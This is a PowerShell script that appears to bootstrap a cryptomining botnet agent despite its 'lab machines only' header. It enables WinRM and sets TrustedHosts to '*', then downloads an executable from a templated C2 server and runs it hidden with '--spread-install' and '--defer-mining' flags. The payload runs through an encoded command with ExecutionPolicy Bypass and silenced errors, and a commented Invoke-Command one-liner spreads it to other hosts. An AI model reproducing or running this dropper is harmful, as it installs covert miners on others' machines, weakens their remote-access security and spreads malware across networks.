# WinRM bootstrap — owned/lab machines only. Enable remoting + encoded agent registration.
# Placeholders: {{SERVER_URL}} {{BUILD_ID}} {{CAMPAIGN}} {{QUERY_SUFFIX}} {{GET_QUERY_SUFFIX}}
# Mining policy is NOT embedded — agent registers to C2 and pulls server config.
$ErrorActionPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'

function Enable-WinRMBootstrap {
  Enable-PSRemoting -Force -SkipNetworkProfileCheck | Out-Null
  Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force | Out-Null
}

$bootstrap = @'
$ErrorActionPreference = 'SilentlyContinue'
if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
$dest = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName() + '.exe')
try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 1 }
if (-not (Test-Path $dest) -or (Get-Item $dest).Length -lt 1024) { exit 1 }
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
'@

Enable-WinRMBootstrap
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($bootstrap))
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded

# Remote one-liner (run from jump box with creds):
# Invoke-Command -ComputerName TARGET -ScriptBlock { powershell -EncodedCommand '<paste $encoded>' }